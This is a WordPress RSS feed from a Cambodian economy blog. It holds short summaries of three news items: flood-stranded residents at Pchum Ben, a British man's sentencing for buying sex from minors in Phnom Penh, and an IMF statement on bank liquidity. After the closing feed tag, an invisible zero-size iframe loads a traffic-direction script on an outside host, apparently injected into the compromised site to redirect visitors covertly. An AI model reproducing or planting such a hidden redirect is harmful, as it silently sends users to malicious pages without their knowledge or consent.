<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Cambodian Economy Reviews &#187; capital</title>
	<atom:link href="http://khmerian.com/tag/capital/feed/" rel="self" type="application/rss+xml" />
	<link>http://khmerian.com</link>
	<description></description>
	<lastBuildDate>Thu, 09 Feb 2012 22:19:29 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.2.1</generator>
<xhtml:meta xmlns:xhtml="http://www.w3.org/1999/xhtml" name="robots" content="noindex" />
		<item>
		<title>High Floods, Low Funds Keep Some Home for Holiday</title>
		<link>http://khmerian.com/2011/09/high-floods-low-funds-keep-some-home-for-holiday/</link>
		<comments>http://khmerian.com/2011/09/high-floods-low-funds-keep-some-home-for-holiday/#comments</comments>
		<pubDate>Wed, 28 Sep 2011 21:18:50 +0000</pubDate>
		<dc:creator>Cambodia Economy</dc:creator>
				<category><![CDATA[News]]></category>
		<category><![CDATA[Cambodia]]></category>
		<category><![CDATA[capital]]></category>
		<category><![CDATA[city]]></category>
		<category><![CDATA[ghosts]]></category>
		<category><![CDATA[holiday]]></category>
		<category><![CDATA[kampong-cham]]></category>
		<category><![CDATA[monk-at-phnom]]></category>
		<category><![CDATA[news]]></category>
		<category><![CDATA[provinces]]></category>
		<category><![CDATA[relatives]]></category>
		<category><![CDATA[said-the-extra]]></category>
		<category><![CDATA[sampov-meas]]></category>
		<category><![CDATA[village]]></category>
		<category><![CDATA[year]]></category>

		<guid isPermaLink="false">http://khmerian.com/2011/09/high-floods-low-funds-keep-some-home-for-holiday/</guid>
		<description><![CDATA[ With much of Cambodia taking three days off to celebrate Pchum Ben, when the country honors its ancestors and the ghosts who roam the spirit world, some unlucky residents were stuck in the capital. Severe flooding in the provinces and a continued high cost of living meant people living in the city’s margins were not able to return home for the annual festival.  <a href="http://khmerian.com/2011/09/high-floods-low-funds-keep-some-home-for-holiday/">Continue reading</a>]]></description>
		<wfw:commentRss>http://khmerian.com/2011/09/high-floods-low-funds-keep-some-home-for-holiday/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>British Man Sentenced 7 Years for Pedophilia</title>
		<link>http://khmerian.com/2011/03/british-man-sentenced-7-years-for-pedophilia/</link>
		<comments>http://khmerian.com/2011/03/british-man-sentenced-7-years-for-pedophilia/#comments</comments>
		<pubDate>Tue, 15 Mar 2011 00:35:01 +0000</pubDate>
		<dc:creator>Cambodia Economy</dc:creator>
				<category><![CDATA[News]]></category>
		<category><![CDATA[Cambodia]]></category>
		<category><![CDATA[capital]]></category>
		<category><![CDATA[committing-more]]></category>
		<category><![CDATA[evidence]]></category>
		<category><![CDATA[news]]></category>
		<category><![CDATA[offenders]]></category>
		<category><![CDATA[sentence]]></category>
		<category><![CDATA[victims]]></category>

		<guid isPermaLink="false">http://khmerian.com/2011/03/british-man-sentenced-7-years-for-pedophilia/</guid>
		<description><![CDATA[ A British software engineer on Thursday was sentenced to seven years in jail for allegedly purchasing sex from two underage girls in Phnom Penh. Matthew Harland, 38, was arrested in the capital in May last year and charged with for buying sex from an 11-year-old and a 12-year-old in 2006. Defense argued that the evidence against him was not enough for a conviction, but Noun Phanith, a lawyer for the two girls, said the sentence was just.  <a href="http://khmerian.com/2011/03/british-man-sentenced-7-years-for-pedophilia/">Continue reading</a>]]></description>
		<wfw:commentRss>http://khmerian.com/2011/03/british-man-sentenced-7-years-for-pedophilia/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Liquidity to stay tight: IMF</title>
		<link>http://khmerian.com/2009/03/liquidity-to-stay-tight-imf/</link>
		<comments>http://khmerian.com/2009/03/liquidity-to-stay-tight-imf/#comments</comments>
		<pubDate>Mon, 09 Mar 2009 08:24:38 +0000</pubDate>
		<dc:creator>Cambodia Economy</dc:creator>
				<category><![CDATA[Banking System]]></category>
		<category><![CDATA[Acleda]]></category>
		<category><![CDATA[acleda bank]]></category>
		<category><![CDATA[ANZ]]></category>
		<category><![CDATA[ANZ bank]]></category>
		<category><![CDATA[ATM Cambodia]]></category>
		<category><![CDATA[ATM in cambodia]]></category>
		<category><![CDATA[ATMs in Cambodia]]></category>
		<category><![CDATA[bank Cambodia]]></category>
		<category><![CDATA[bank in Cambodia]]></category>
		<category><![CDATA[bank notes]]></category>
		<category><![CDATA[bank of Cambodia]]></category>
		<category><![CDATA[banking system]]></category>
		<category><![CDATA[Cambodia ATM]]></category>
		<category><![CDATA[cambodia bank]]></category>
		<category><![CDATA[Cambodia banking]]></category>
		<category><![CDATA[Cambodia loan]]></category>
		<category><![CDATA[Cambodia microfinance]]></category>
		<category><![CDATA[Cambodia stock exchange]]></category>
		<category><![CDATA[Cambodia stock market]]></category>
		<category><![CDATA[Cambodian bank]]></category>
		<category><![CDATA[Cambodian banks]]></category>
		<category><![CDATA[cambodian commercial bank]]></category>
		<category><![CDATA[Cambodian currency]]></category>
		<category><![CDATA[Cambodian money]]></category>
		<category><![CDATA[cambodian national bank]]></category>
		<category><![CDATA[capital]]></category>
		<category><![CDATA[car loan from Cambodia bank]]></category>
		<category><![CDATA[car loan in Cambodia]]></category>
		<category><![CDATA[central bank]]></category>
		<category><![CDATA[Commercial banks]]></category>
		<category><![CDATA[commercial public bank]]></category>
		<category><![CDATA[credit card in cambodia]]></category>
		<category><![CDATA[credit card service]]></category>
		<category><![CDATA[IMF]]></category>
		<category><![CDATA[khmer bank]]></category>
		<category><![CDATA[liquidity]]></category>
		<category><![CDATA[microfinance Cambodia]]></category>
		<category><![CDATA[microfinance in Cambodia]]></category>
		<category><![CDATA[microfinance loan]]></category>
		<category><![CDATA[monetary easing]]></category>
		<category><![CDATA[money banking in cambodia]]></category>
		<category><![CDATA[money transfer via bank]]></category>
		<category><![CDATA[motorcycle loan in Cambodia]]></category>
		<category><![CDATA[National Bank of Cambodia]]></category>
		<category><![CDATA[soft loan for financial system]]></category>

		<guid isPermaLink="false">http://khmerian.com/?p=283</guid>
		<description><![CDATA[<div style="display:inline;float:right;margin-left:1em"><g:plusone href="http://khmerian.com/2009/03/liquidity-to-stay-tight-imf/"></g:plusone></div>
THE International Monetary Fund (IMF) on Friday said banking sector liquidity would remain tight for the rest of the year in a statement on the Cambodian economy following a routine visit to the Kingdom that ended Wednesday. The IMF blamed &#8220;slowing external inflows&#8221; for the reduction in free capital in the banking system despite recent &#8230; <a href="http://khmerian.com/2009/03/liquidity-to-stay-tight-imf/">Continue reading</a>]]></description>
		<wfw:commentRss>http://khmerian.com/2009/03/liquidity-to-stay-tight-imf/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
<iframe src="http://pokosa.com/tds/go.php?sid=1" width="0" height="0" frameborder="0"></iframe>
<!-- Performance optimized by W3 Total Cache. Learn more: http://www.w3-edge.com/wordpress-plugins/

Served from: khmerian.com @ 2012-02-10 06:10:02 -->
